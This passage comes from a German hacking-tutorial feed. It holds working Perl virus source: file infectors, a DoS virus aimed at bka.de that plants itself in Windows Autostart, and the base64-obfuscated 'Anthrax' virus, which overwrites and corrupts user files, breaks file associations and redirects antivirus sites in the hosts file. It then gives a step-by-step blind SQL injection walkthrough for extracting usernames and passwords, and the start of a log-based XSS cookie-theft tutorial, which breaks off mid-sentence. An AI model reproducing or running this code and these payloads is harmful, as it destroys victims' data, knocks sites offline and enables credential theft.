sein kann.Hier flooden wir die Festplatte einfach voll mit Dateien. Klingt
langweilig? Isses auch…

#!/usr/bin/perl
$count=0;
$zahl=1;
until ($count==23) { # 23 Nothing is as it seems =D
$count++;
open (VICZ, “>”, “viruZ$zahl.txt”);
print VICZ “Fear my VXer skills!”;
close (VICZ);
$zahl++;
}

Die Zahl 23 sollte man ver ndern auf eine relativ h here, wenns effektiv sein
soll.

@@@@@@@@@@@@@@@@@@@@@@@@@
@ich_versteck_mich_gerne@
@@@@@@@@@@@@@@@@@@@@@@@@@

Am besten ist wohl f r eine lange Lebenszeit des Virus dass dieser sich an
andere Dateien dranh ngt, mit dem Ziel bei einer desinfection nochmal
gestartet zu werden.Am einfachsten ist, dass sich der Viren Code hinten
anh ngt. Das w rde so aussehen:

#!/usr/bin/perl
open(myself,”<$0″);
@spread = <myself>;
close(myself);
foreach $perlfile (glob(“*.pl”)) {
open(PL,”>>”, “$perlfile”);
print PL @spread;
close(PL);
}

Eine andere und effektivere Art, ist dass man den Viren Code an den Anfang
der Datei h ngt. So startet zuerst den Virus und dann erst die eigentliche
Datei.Das kann man mit folgendem Code machen:

#!/usr/bin/perl
open(myself,”<$0″);
@spread = <myself>;
close(myself);
foreach $perlfile (glob(“*.pl”)) {
open(PRL, “<”, “$perlfile”);
@INHALT = <PRL>;
close(PRL);
open(PL2, “>”, “$perlfile”);
print PL2 @spread;
close(PL2);
open(PL3, “>>”, “$perlfile”);
print PL3 @INHALT;
close(PL3);
}

Dies kann unter Umst nden nat rlich auffliegen, da sich so die Dateigr  e doch
recht stark ver ndern kann.Man k nnte anstatt den ganzen Virus Code in die
Datei zu injecten, einfach nur einen Aufruf zum Virii schreiben. Etwa mit
system(“virus.pl”) oder mit exec(“perl virus.pl”) .Dies spart uns jede Menge
Kb und f llt auch nicht direkt so auf. Jedoch muss der Virus dann noch in einem
Ordner resident sein.

@@@@@@@@@@@@
@Ddos_Viren@
@@@@@@@@@@@@

Ja, sowas gibs.Das ist ein Skript das eine Seite angreift mit dem Zweck dass diese
nicht mehr erreichbar sein wird.Jedoch sind Viren dazu eher selten, da man dies
besser mit Bots machen sollte, da man diese wenigstens noch kontrollieren kann.
Was nun folgt ist der Source von meinem Assault Virus. Er hat das Ziel, bka.de
mit GET anforderungen zu  berlasten.

#!/usr/bin/perl
# Second Perl ViruZ code by broken-error
# Codename: assault
# Looking for more great Codez and Coderz?
# —>  www.dark-codez.org <—

open(File,$0);
@Virus=<File>;
close(File);

$count=0;
$zahl=1;

until ($count==666) {
$count++;
open (VICZ, “>”, “viruZ$zahl.pl”);
print VICZ @Virus;
close (VICZ);
$zahl++;
}

do {
$counter++;
use LWP::UserAgent;

$url = “http://bka.de”;

$agent = new LWP::UserAgent;
$request = HTTP::Request->new(‘GET’, $url);
$result = $agent->request($request);
print ” CODENAME ASSAULT — IS OWNING — YOU “;
} until ($counter == 6666);

$ccc=0;
do {
$ccc++;
use LWP::UserAgent;
$url = “http://bka.de”;
$agent = new LWP::UserAgent;
$request = HTTP::Request->new(‘GET’,$url);
$result = $agent->request($request);
$url =~ s/.*\///;
$url = “source$ccc.html”;
open(DEST_FILE, “>$url”);
print DEST_FILE $result->content();
close(DEST_FILE);
} until ($ccc == 666);

@Virus=@Virus[22...47];
open (second, “>”, “pay.pl”);
print second ‘#!/usr/bin/perl’;
print second “/n”;
print second @Virus;
close (seocnd);

system (‘copy pay.pl “%userprofile%\startm~1\Programme\Autostart” ‘);

open (third, “>adobestarter.bat”);
print third “perl pay.pl”;
close (third);

system (‘copy adobestarter.bat “%userprofile%\startm~1\Programme\Autostart” ‘);

Ja, ich weiss, dreckiger Code, aber zur Entschuldigung, das war mein Zweiter
Versuch was zu basteln und konnte Perl da noch nicht wirklich gut. Also, was
macht der nun genau? Er ruft http://bka.de 6666 mal auf.Wenn diese Schleife
dann abgearbeitet ist, l d es noch 666 mal die index.html herunter.So sind
es eigentlich 2 Methoden zum DoS.Achja, ausserdem schreibt der Virus sich
noch in den Autostart, damit er immer wieder ausgef hrt wird.

@@@@@@@@@@@@@@@@
@Kodierte_Viren@
@@@@@@@@@@@@@@@@

Das Leben eines Virus kann sehr hart sein. Antiviren sind relativ klever und
werden zunehmend agressiver. Deshalb muss man einen wichtigen Teil seines Codes
kodieren, damit dieser nicht sofort erkannt wird. Tja, am besten w rde ich mal
base64 empfehlen, denn das ben tigte Modul ist standartm ssig installiert!

HIer mal ein Beispiel wie ein solcher Teil dann aussieht:

$infectWEB = q {
PEhUTUw+DQo8dGl0bGU+QW5UaFJhWCBWaVJ1UzwvdGl0bGU+DQo8Ym9keSBiZ2NvbG9yPSJibGFj
ayIgdGV4dD0icmVkIj4NCjxjZW50ZXI+DQo8Zm9udCBzaXplPSIxMCI+QW5UaHJhWCBWaVJ1UyBp
TmZFY1RlRCB5T3U8L2ZvbnQ+DQo8YnI+DQo8YnI+DQo8aW1nIHNyYz0iaHR0cDovL3d3dy50aGll
bWUuZGUvdmlhbWVkaWNpL2FrdHVlbGxlcy93aXNzZW5zY2hhZnRfYXJjaGl2MS8xM19taWx6YnJh
bmRfYW50aHJheC5qcGciPg0KPC9jZW50ZXI+DQo8L0hUTUw+};
$batch_chat = q {
QGVjaG8gb2ZmDQplY2hvLg0KZWNobyBWaXJ1czpIZXkgZHVkZT8hDQpwaW5nIDEyNy4wLjAuMSA+
IE5VTA0KZWNobyBDb2RlcjpZZXM/DQpwaW5nIDEyNy4wLjAuMSA+IE5VTA0KZWNobyBWaXJ1czpN
YW4sIHNvbWVvbmUgZXhlY3V0ZWQgbWUNCmVjaG8gYW5kIEkgc2F3IGFuIEFudGl2aXJ1cyENCnBp
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOk9oIFNoaXQhDQpwaW5nIDEyNy4wLjAuMSA+
IE5VTA0KZWNobyBDb2RlcjpXaGF0IHlvdSBnb25uYSBkbyBub3c/DQpwaW5nIDEyNy4wLjAuMSA+
IE5VTA0KZWNobyBWaXJ1czpNYW4gSSBhbSBzbyBzY2FycmVkLg0KcGluZyAxMjcuMC4wLjEgPiBO
VUwNCmVjaG8gVmlydXM6SSBob3BlIEkgY2FuIGJlIGxvbmcgZW5vdWdoIGFsaXZlDQplY2hvIHRv
IGhpZGUgbWUgaW4gc29tZSBGaWxlcyBvciBGb2xkZXJzIQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwN
CmVjaG8gQ29kZXI6WW91IGNhbiBkbyB0aGF0IGpvYiENCnBpbmcgMTI3LjAuMC4xID4gTlVMDQpl
Y2hvIFZpcnVzOlllcywgYnV0IHRoZSBBbnRpdmlydXMgcGlzc2VzIG1lIG9mZiENCnBpbmcgMTI3
LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOkJ1dCBoZSBkb2VzbnQgcmVjb2duaXplZCB5b3UgdW50
aWwgbm93IQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwNCmVjaG8gVmlydXM6VGhhdHMgdHJ1ZS4NCnBp
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIFZpcnVzOkxvb2tzIGxpa2UgaGlzIEFudGl2aXJ1cyBp
cyB0byBsYW1lIDopDQpwaW5nIC10IDEyNy4wLjAuMSA+IE5VTA==};
$newHOST = q {
a2FzcGVyc2t5LmNvbSAxMjcuMC4wLjENCndpbnVwZGF0ZS5jb20gMTI3LjAuMC4xDQpzeW1hbnRl
Yy5jb20gMTI3LjAuMC4xDQphdmlyYS5kZSAxMjcuMC4wLjENCmV3aWRvLm5ldCAxMjcuMC4wLjEN
CnZpcnVzc2Nhbi5qb3R0aS5vcmcgMTI3LjAuMC4xDQpncmlzb2Z0LmNvbSAxMjcuMC4wLjENCmF2
YXN0LmNvbSAxMjcuMC4wLjENCmYtcHJvdC5jb20gMTI3LjAuMC4xDQpmLXNlY3VyZS5jb20gMTI3
LjAuMC4xDQpmb3J0aW5ldC5jb20gMTI3LjAuMC4xDQpzb3Bob3MuY29tIDEyNy4wLjAuMQ0KYW50
aS12aXJ1cy5ieSAxMjcuMC4wLjENCmVzZXQuY29tIDEyNy4wLjAuMQ0Kbm9ybWFuLmNvbSAxMjcu
MC4wLjENCmJpdGRlZmVuZGVyLmNvbSAxMjcuMC4wLjENCnBhbmRhc2VjdXJpdHkuY29tIDEyNy4w
LjAuMQ0KdHJvamFuZXItYm9hcmQuZGUgMTI3LjAuMC4xDQp0cm9qYW5lci1pbmZvLmRlIDEyNy4w
LjAuMQ0KY29tcHV0ZXJoaWxmZW4uZGUgMTI3LjAuMC4x};

Genau in diesen 3 Variabeln finden wir f r den Payload n tige Informationen.
Hinter $infectWEB verbirgt sich HTML Code.$batch_chat enth lt einfachen Batch
Code f r einen imagin ren Chat.Und in der $newhost Variabel stehen Adressen f r
die hosts Datei.
Am besten zeig ich euch mal nen ganzen Virus, der dies benutzt:

#!/usr/local/bin/perl
#
# Name: Anthrax
# Type: Virus
# Coder: Perforin
#
#  berschreibt html, php Dateien mit ner eigenen html.Sich selber kopiert er nach:
# C:\\Windows\\System32\\drivers\\etc\\driver-backup unter dem namen “anthrax_v”
# Nun werden noch mp3 datei gefickt. In .txt und.log dateien werden die Buchstaben:
# “abc” sowie “ABC” gel scht und auch alle Zahlen.Der Virus heftet sich an den Anfang
# aller Perl Dateien und  .wav .mp3 .avi .mid .doc .asm .zip und .rar werden geschrottet.
# Wobei bei jeder mp3 Datei hineingeschrieben wird dass es den Virus starten soll.
# Achja, es wird ein kleiner “Chat” gestartet sowie dass auch die hosts Datei umgeschrieben wird.
#
# Greetz to: Dark-Codez
# Special Greetz to: Rayden :D
#

use MIME::Base64;
use File::Path;
use File::Copy;

$infectWEB = q {
PEhUTUw+DQo8dGl0bGU+QW5UaFJhWCBWaVJ1UzwvdGl0bGU+DQo8Ym9keSBiZ2NvbG9yPSJibGFj
ayIgdGV4dD0icmVkIj4NCjxjZW50ZXI+DQo8Zm9udCBzaXplPSIxMCI+QW5UaHJhWCBWaVJ1UyBp
TmZFY1RlRCB5T3U8L2ZvbnQ+DQo8YnI+DQo8YnI+DQo8aW1nIHNyYz0iaHR0cDovL3d3dy50aGll
bWUuZGUvdmlhbWVkaWNpL2FrdHVlbGxlcy93aXNzZW5zY2hhZnRfYXJjaGl2MS8xM19taWx6YnJh
bmRfYW50aHJheC5qcGciPg0KPC9jZW50ZXI+DQo8L0hUTUw+};
$batch_chat = q {
QGVjaG8gb2ZmDQplY2hvLg0KZWNobyBWaXJ1czpIZXkgZHVkZT8hDQpwaW5nIDEyNy4wLjAuMSA+
IE5VTA0KZWNobyBDb2RlcjpZZXM/DQpwaW5nIDEyNy4wLjAuMSA+IE5VTA0KZWNobyBWaXJ1czpN
YW4sIHNvbWVvbmUgZXhlY3V0ZWQgbWUNCmVjaG8gYW5kIEkgc2F3IGFuIEFudGl2aXJ1cyENCnBp
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOk9oIFNoaXQhDQpwaW5nIDEyNy4wLjAuMSA+
IE5VTA0KZWNobyBDb2RlcjpXaGF0IHlvdSBnb25uYSBkbyBub3c/DQpwaW5nIDEyNy4wLjAuMSA+
IE5VTA0KZWNobyBWaXJ1czpNYW4gSSBhbSBzbyBzY2FycmVkLg0KcGluZyAxMjcuMC4wLjEgPiBO
VUwNCmVjaG8gVmlydXM6SSBob3BlIEkgY2FuIGJlIGxvbmcgZW5vdWdoIGFsaXZlDQplY2hvIHRv
IGhpZGUgbWUgaW4gc29tZSBGaWxlcyBvciBGb2xkZXJzIQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwN
CmVjaG8gQ29kZXI6WW91IGNhbiBkbyB0aGF0IGpvYiENCnBpbmcgMTI3LjAuMC4xID4gTlVMDQpl
Y2hvIFZpcnVzOlllcywgYnV0IHRoZSBBbnRpdmlydXMgcGlzc2VzIG1lIG9mZiENCnBpbmcgMTI3
LjAuMC4xID4gTlVMDQplY2hvIENvZGVyOkJ1dCBoZSBkb2VzbnQgcmVjb2duaXplZCB5b3UgdW50
aWwgbm93IQ0KcGluZyAxMjcuMC4wLjEgPiBOVUwNCmVjaG8gVmlydXM6VGhhdHMgdHJ1ZS4NCnBp
bmcgMTI3LjAuMC4xID4gTlVMDQplY2hvIFZpcnVzOkxvb2tzIGxpa2UgaGlzIEFudGl2aXJ1cyBp
cyB0byBsYW1lIDopDQpwaW5nIC10IDEyNy4wLjAuMSA+IE5VTA==};
$newHOST = q {
a2FzcGVyc2t5LmNvbSAxMjcuMC4wLjENCndpbnVwZGF0ZS5jb20gMTI3LjAuMC4xDQpzeW1hbnRl
Yy5jb20gMTI3LjAuMC4xDQphdmlyYS5kZSAxMjcuMC4wLjENCmV3aWRvLm5ldCAxMjcuMC4wLjEN
CnZpcnVzc2Nhbi5qb3R0aS5vcmcgMTI3LjAuMC4xDQpncmlzb2Z0LmNvbSAxMjcuMC4wLjENCmF2
YXN0LmNvbSAxMjcuMC4wLjENCmYtcHJvdC5jb20gMTI3LjAuMC4xDQpmLXNlY3VyZS5jb20gMTI3
LjAuMC4xDQpmb3J0aW5ldC5jb20gMTI3LjAuMC4xDQpzb3Bob3MuY29tIDEyNy4wLjAuMQ0KYW50
aS12aXJ1cy5ieSAxMjcuMC4wLjENCmVzZXQuY29tIDEyNy4wLjAuMQ0Kbm9ybWFuLmNvbSAxMjcu
MC4wLjENCmJpdGRlZmVuZGVyLmNvbSAxMjcuMC4wLjENCnBhbmRhc2VjdXJpdHkuY29tIDEyNy4w
LjAuMQ0KdHJvamFuZXItYm9hcmQuZGUgMTI3LjAuMC4xDQp0cm9qYW5lci1pbmZvLmRlIDEyNy4w
LjAuMQ0KY29tcHV0ZXJoaWxmZW4uZGUgMTI3LjAuMC4x};

safeVIRUS();
sub safeVIRUS {
mkpath “C:\\Windows\\System32\\drivers\\etc\\driver-backup”;
open(myself,”<$0″);
@spread = <myself>;
close(myself);
open(myself,”>anthrax_v.pl”);
print myself @spread;
close(myself);
move(“anthrax_v.pl”, “C:\\Windows\\System32\\drivers\\etc\\driver-backup”);
}

&infectFILES;
chdir “..”;
&infectFILES;

infectFILES();
sub infectFILES {

foreach $html (<*.html>){
open(HTML,”>$html”);
$decoded = decode_base64($infectWEB);
print HTML “$decoded”;
close(HTML);
}
foreach $php (<*.php>){
open(PHP,”>$php”);
$decoded = decode_base64($infectWEB);
print PHP “$decoded”;
close(PHP);
}
foreach $mp3 (<*.mp3>){
open(MP3,”>$mp3″);
print MP3 “InFeCtEd WiTh AnThRaX”;
close(MP3);
}
foreach $txt (<*.txt>){
open(TXT,”<$txt”);
@code = <TXT>;
close(TXT);
open(TXT,”>$txt”);
foreach $line (@code){
$line =~ tr/abcABC0123456789//d;
print TXT “$line”;
}
close(TXT);
}
foreach $log (<*.log>){
open(LOG,”<$log”);
@code = <LOG>;
close(LOG);
open(LOG,”>$log”);
foreach $line (@code){
$line =~ tr/abcABC0123456789//d;
print LOG “$line”;
}
close(LOG);
}
foreach $perlfile (<*.pl>) {
open(PRL,”<$perlfile”);
@INHALT = <PRL>;
close(PRL);
open(PL2,”>$perlfile”);
print PL2 @spread;
close(PL2);
open(PL3,”>>$perlfile”);
print PL3 @INHALT;
close(PL3);
}
}
nextPART();
sub nextPART {
open(lol,”>assoc.bat”);
print lol ‘@echo off’.”\n”;
print lol ‘assoc .wav=lol’.”\n”;
print lol ‘assoc .avi=lol’.”\n”;
print lol ‘assoc .mid=lol’.”\n”;
print lol ‘assoc .com=lol’.”\n”;
print lol ‘assoc .mp3=lol’.”\n”;
print lol ‘assoc .doc=lol’.”\n”;
print lol ‘assoc .asm=lol’.”\n”;
print lol ‘assoc .zip=lol’.”\n”;
print lol ‘assoc .rar=lol’.”\n”;
close(lol);
system(“assoc.bat > NUL”);
chdir “C:\\Windows\\System32\\drivers\\etc”;
open(HOST,”>>hosts”);
$decoded = decode_base64($newHOST);
print HOST “$decoded”;
close(HOST);
open(chat,”>chat.bat”);
$decoded = decode_base64($batch_chat);
print chat “$decoded”;
close(chat);
system(“chat.bat”);
}

@@@@@@@@@@@@@@@@@
@jumping_engines@
@@@@@@@@@@@@@@@@@

Mir selbst sind momentan leider nur 2 bekannt.Das eine w re die Downward
Travelling Methode und dann noch meine eigene, die aber noch nicht sehr
ausgereift ist.

Bei der Downward Travelling Methode wechseln wir immer wieder in das
n chste Unterverzeichnis.Das sieht dann so aus:

#!/usr/local/bin/perl
&jump;
chdir “..”;
&jump;

sub jump {
HIER DEIN CODE
}

Besonders n tzlich f rs verteilte infizieren und|oder l schen von Dateien.

Meine eigene Methode ist so  hnlich. Ich benutze auch Downward Travelling, jedoch
wechsel ich 3 mal das Verzeichnis. Warum? Da ich vorher in jeden Vorhandenen Ordner
springe der aufzufinden ist.Und w rde ich dann nur einmal nen Verzeichnis wechsel
machen, w rde es nicht richtig funzen. Naja, schaut euch einfach mal mein
Proof-of-Concept an ;)

#!/usr/bin/perl
############################
#  Perforins Jumping Engine
############################
#
# Version: 1.2
#
# www.dark-codez.org
# www.perforins-software.dl.am
#

use Cwd;

print <<POC;
==========================
=Perforins Jumping Engine=
==========================
Perforins Jumping Engine
is pwning me! HAX HAX HAX

POC

&infect;
chdir “..”;
chdir “..”;
chdir “..”;
&infect;

sub infect {
$akt_verz = cwd();
@directorys = ();
foreach $dirs (<*>) {
if ($dirs !~ m/\./) {
push(@directorys,”$dirs”);
}
}
print ”
===PWND===
@directorys
==========
“;

foreach $dir (@directorys) {
chdir “$akt_verz\\$dir”;
open(jmp, “>”, “poc.txt”);
print jmp “jumped!”;
close(jmp);
}
}
print “\n”.”This is the end my friend!”.”\n”;

@@@@@@@@@@@@@
@Schlusswort@
@@@@@@@@@@@@@

Ihr seht, ihr k nnt eurer Fantasie freien lauf lassen!
Ich hab hier das Thema Viren nur mal angeschnitten denn es
gibt noch sooooooooviele andere Typen und Verbreitungsm glichkeiten.
Ich hab euch ja nicht mal gezeigt wie man sie am besten spreaden l sst
etc. Dies kommt alles im n chsten TuT ;)

Hoffe, dass ihr hier ein bissl schlauer geworden seid und was lernen
konntet hehe.

# Die Knochen von fuenftausend tapferen M nnern lagen verstreut in den gewundenen Korridoren der Station.
# Ihr Blut war an die Waende und auf den Boden der Schlafsaele geschmiert.
# Ihre Innerein hingen von den Kontrollpanelen, wie die grotesken Dekorationen eines Festes des Wahnsinns.
# Und doch wurde nicht ein einziger Schaedel gefunden!
# Alle waren sie durch diese verachtenswerten Angreifer als Trophaeen entwendet worden.

Virus writting in Perl Teil 2.

Autor: Perforin

Quelle: virii.lu

Suchanfragen zu diesem Artikel:

Verwandte Beiträge

]]> http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/feed/ 0 http://tut0r1al.back2hack.cc/perl-coding/virus-writting-in-perl-teil-1/ Blind SQL Injection http://feedproxy.google.com/~r/Tut0r1alv20/~3/QJvwD6na9Lo/ http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/#comments Tue, 22 May 2012 19:30:22 +0000 admin http://tut0r1al.back2hack.cc/?p=97 ################################################## #########

# Blind SQL Injections with true and false #

# fred777 #
################################################## #########

0×00 Intro:
Willkommen zu einem weiteren Tutorial über SQL-Injections von mir. Diesmal wird es
um Blind Injections gehen. Wir werden hier alles von Hand machen, doch zwingt euch keiner
nicht einfach Scripte zur Hand zu nehmen.

################################################## #########

0×01 Knowledge:
Bis jetzt hatten wir immer eine Ausgabe, wir verbanden den SELECT-Query mittels UNION
mit unserem SELECT-Query und killten das Resultat auf eine leere Menge, meistens mit einem
- oder einer nicht existierenden Zahl. Nun finden wir wieder einen Bug, welcher den Anschein
erweckt, dass sich der Query manipulieren lässt.

www.seite.de/index.php?id=777 => Alles wird normal dargestellt
www.seite.de/index.php?id=777′ => Die Seite wird nicht korrekt dargestellt

Man sollte bedenken, dass nicht in allen dieser Fälle eine Lücke besteht, das müssen wir ebenfalls
erst testen und zwar mittels eines Tricks, wir stellen dem Query eine mathematische Aufgabe, geht
er darauf ein und beantwortet diese ist er manipulierbar, ansonsten sollte keine Lücke vorhanden sein.
Die einfachste Aufgabe wird wohl sein 1=1, natürlich ist das wahr, also true, 1=0 ist falsch, also false
mit AND hängen wir unsere Aufgabe an den Query dran:

www.seite.de/index.php?id=777 and 1=1 => Alles wird korrekt dargestellt
www.seite.de/index.php?id=777 and 1=0 => Die Seite wird nicht korrekt dargestellt

Aha, der Query ist auf unsere Aufgabe eingegangen und hat mit “ja” und “nein” geantwortet.
Wo ich Leerzeichen verwenden, könnt ihr auch + oder /**/ verwenden, nebenbei könnte es
sein, dass ihr unnötigen Rest vom ersten Query entfernen müsst, dass könnt ihr mit einem Comment
machen, Je nach Query könnt es ebenfalls sein, dass ihr bei AND 1=1 das Hochkomma beibehalten
müsst, also:
www.seite.de/index.php?id=777′ and 1=1– f

Es heißt hier einfach ausprobieren, es sei denn euch liegen die Scripte vor, dann könnt ihr euch
die Datenbankabfrage anschauen.

Wie sind wir bisher vorgegangen, genau, wir haben mit ORDER BY die Columns gecheckt, also los

www.seite.de/index.php?id=777 order by 1 => Seite wird richtig dargestellt
www.seite.de/index.php?id=777 order by 7 => Seite wird richtig dargestellt
www.seite.de/index.php?id=777 order by 8 => Seite wird fehlerhaft dargestellt

Nun kennen wir auch schon das Spiel mit UNION und SELECT…

www.seite.de/index.php?id=777 union select 1,2,3,4,5,6,7– f
Doch was ist das? Es erfolgt keine Ausgabe, auch wenn wir das Resultat des ersten Querys
ungültig machen:
www.seite.de/index.php?id=-657567567777 union select 1,2,3,4,5,6,7– f

Jetzt sind wir an dem Punkt uns einen neuen Weg zu überlegen, erinnern wir uns nochmal an unsere
Rechenaufgabe, da hat der Query reagiert, könnten wir dann nicht auch fragen, ob das PW des USers
mit A, oder O anfängt?

################################################## ################

0×02 Exploiting:
Richtig, und genau das werden wir versuchen, wir können wie auch bei einer normalen Injection, falls
die MySQL-Version 5 beträgt auf die Information_schema zugreifen, falls es Version 4 ist, müssen wir eben
raten, das auslesen aus information_schema mittels Blind kann sehr aufwendig werden, deshalb werden
gerne Scripte benutzt.
Wir lernen hiermit einen neuen Begriff kenne, SUBSTRING:
SUBSTRING(stringoderwort,start,länge)
stringoderwort ist unser String hier, start bestimmt die Rückgabe des ersten Wertes und länge bestimmt
wieviele Werte zurückgegeben werden ab start.
Uns würde also ausgegeben bei SUBSTRING(stringoderwort,4,3) => ing
Nun, so können wir auch die Version bestimmen, sie fängt entwedern mit 4.x.x.x oder mit 5.x.x.x an
Also sagen wir, dass wir nur den ersten Wert haben möchte, da dieser entscheidend ist:
SUBSTRING(version(),1,1)=5
www.seite.de/index.php?id=777 and SUBSTRING(version(),1,1)=4 => Seite wird nicht normal dargestellt
www.seite.de/index.php?id=777 and SUBSTRING(version(),1,1)=5 => Seite wird normal dargestellt
Aha, folglich ist der erste Wert von version() eine 5 und somit können wir auf die
information_schema zugreifen..

Als nächsten Schritt wäre es sinnvoll erstmal zu schauen, ob wir denn nicht Glück haben und die Table
zufällig users oder user heißt. Das machen wir mit einem subselect:

www.seite.de/index.php?id=777 and (select 1)=1 => Seite wird normal dargestellt

Somit können wir mit einem subselect schonmal arbeiten, select 1 ist true und wird mit 1 verglichen,
was ebenfalls true ergibt.

www.seite.de/index.php?id=777 and (select 1 from user limit 0,1)=1 => Seite wird nicht richtig dargestellt

Also gibt es die Table ‘user’ schonmal nicht, versuchen wir es mit users:
Wichtig: limit ist hier erforderlich, da es sich um einen Subquery handelt, dieser gibt kann nur einen
Wert zurückgegeben, deshalb beschränken wir es auf limit 0,1!

www.seite.de/index.php?id=777 and (select 1 from users limit 0,1)=1 => Seite wird richtig dargestellt

Oh, users existiert schonmal, fehlen noch die zugehörigen Columns, schauen wir weiter, natürlich
könntet ihr jetzt auch mit WHERE und information_schema arbeiten:

www.seite.de/index.php?id=777 and (select substring(password,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt
www.seite.de/index.php?id=777 and (select substring(pass,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt
www.seite.de/index.php?id=777 and (select substring(user,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt
www.seite.de/index.php?id=777 and (select substring(username,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt

Ok, somit hätten wir durch raten die Table und die Columns, es ist zwar Version 5, doch ohne Script aus
information_schema lesen ist sehr langwierig. Ich gehe später darauf ein, wie man es bei Bedarf trotzdem
machen könnte.
Nun, da wir die Namen haben, starten wir einen normalen Query mittels Substring, jetzt werden wir Wert für Wert
auslesen und nicht mehr testen ob es nur existiert oder nicht. Fangen wir mit ‘username’
————————
Wir werden beim Auslesen mit ASCII arbeiten, HEX ginge zwar auch, doch so finde ich es leichter..
ASCII ist eine Zeichencodierungsform welche mit 7 Bits arbeitet, für weitere Informationen, bitte selber Googlen.
Was wir brauchen werden ist eine ASCII-Tabelle, um die ausgelesenen ASCII-Werte in unsere Zeichen
umrechnet, so wie z.B. diese:

http://www.torsten-horn.de/techdocs/ascii.htm

So ist z.B. der ASCII-Wert 97 ein a
————————
Wir werden den ersten Wert des usernames jetzt auslesen, damit wir ascii-zeichen bekommen, benutzen wir ascii:
www.seite.de/index.php?id=777 and ASCII()– f
Nun brauchen wir für username unseren substring, welcher in ascii() hineinkommt
www.seite.de/index.php?id=777 and ascii(SUBSTRING())– f
Nun selektieren wir username:
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))– f
Und zu letzt vergleichen wir mit unserem true/false-Verfahren das Resultat mit einem ASCII-Wert
Hierfür können wir >,< und = benutzen, wir fangen mit >1 an, da es immer true ergibt
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>1– f => true
Jetzt gehen wir höher und grenzen den Bereich ein:
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>100– f => false, er ist nicht größer
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>96– f => true, er ist größer
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))<97– f => false, er ist nicht kleiner als 97
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97– f => true, er ist gleich 97
Rechnen wir schnell um, ein a, also ist der erste Buchstabe vom username ein a
Wenn ihr den zweiten auslesen wollt, fangt ihr bei der zweiten Stelle an, bleibt aber bei der Länge 1, so macht ihr
per Hand weiter, bis der ASCII-Wert unter 32 liegt, hier kommen die Steuerzeichen und der String ist zu Ende.
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),2,1))>100– f
www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),6,1))=31– f => true, der String ist zu Ende
Der username heißt admin.
Das gleiche macht ihr mit dem Passwort:
www.seite.de/index.php?id=777 and ascii(substring((SELECT pass FROM users LIMIT 0,1),1,1))>100– f => false, er ist nicht größer

Eine andere Möglichkeit währe, anstatt ascii() die Funktion char() zu benutzen, das sähe dann so aus:
www.seite.de/index.php?id=777 and (substring((SELECT pass FROM users LIMIT 0,1),1,1)>char(100)– f => false, er ist nicht größer
Oder mit hex:
www.seite.de/index.php?id=777 and (substring((SELECT pass FROM users LIMIT 0,1),1,1)>0×542342– f => false, er ist nicht größer

So, wenn ihr aus der Information_schema table auslesen wollt, geht das genauso:
www.seite.de/index.php?id=777 and ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))>1
Schemata für Datenbanken
www.seite.de/index.php?id=777 and ascii(substring((select table_name from information_schema.columns limit 0,1),1,1))>1
Table_name für Columns
www.seite.de/index.php?id=777 and ascii(substring((select column_name from information_schema.columns limit 0,1),1,1))>1
Column_name für Columns

################################################## ##################################

0×03 Complete:
Ok, das wars auch schon wieder, ich hoffe ich habe nichts vergessen zu erklären, und falls Fortgeschrittene sich fragen was mit
ifnull() oder if() ist, das erkläre ich in einem anderen Paper..
fred777.de and GreezZ to my friendsZ

Autor: fred777

Quelle: creative-coding.us

Suchanfragen zu diesem Artikel:

Verwandte Beiträge

]]> http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/feed/ 1 http://tut0r1al.back2hack.cc/blind-sql-injection-2/bilnd-sql-injection/ Second Order Code Injection http://feedproxy.google.com/~r/Tut0r1alv20/~3/2qxb_HLgROQ/ http://tut0r1al.back2hack.cc/xss/second-order-code-injection/#comments Tue, 22 May 2012 07:05:56 +0000 admin http://tut0r1al.back2hack.cc/?p=68 Second Order Code Injection

Hey Leute,
heute wollte ich mal ein kleines Tutorial über eine vielleicht nicht ganz
so bekannte Angriffsmöglichkeit schreiben. Die Idee hierbei ist es, seinen
Angriff auf Logs zu lenken (egal welche Logs). Ich möchte es mal auf die Basics
beschränken, da diese Angriffsform vielfach auftreten kann, wenn irgendwo ein
Log in .html gespeichert wird. Gehen wir mal von einem simplen Errorlog aus.
Dieses wird bei größeren Seiten mehrfach von Admins kontrolliert!
Unsere Chance ihnen vielleicht Cookies zu klauen? Die Errorlogs
sind selten gesichert, weil ein normaler User ja keinen Zugriff darauf hat.
Wir wissen bereits von der LFI, dass man via Telnet Code ins Errorlog bringen
kann. Wie wäre es, wenn wir dort unsere XSS-Injection platzieren?

Telnet via HTTP:
GET/ </textarea><script>alert(‘XSS’);</script>

Dieser Eintrag würde zwar nur einen alert bewirken, kann allerdings durch beliebigen
Code ersetzt werden. Als Beispiel, das stehlen von Cookies oder vielleicht ein iFrame?
Der einzige Nachteil hierbei: Wir haben keinen Zugriff auf das Errorlog, können also
nicht überprüfen ob eine Vulnerability vorliegt. Hier wäre die Möglichkeit sich das
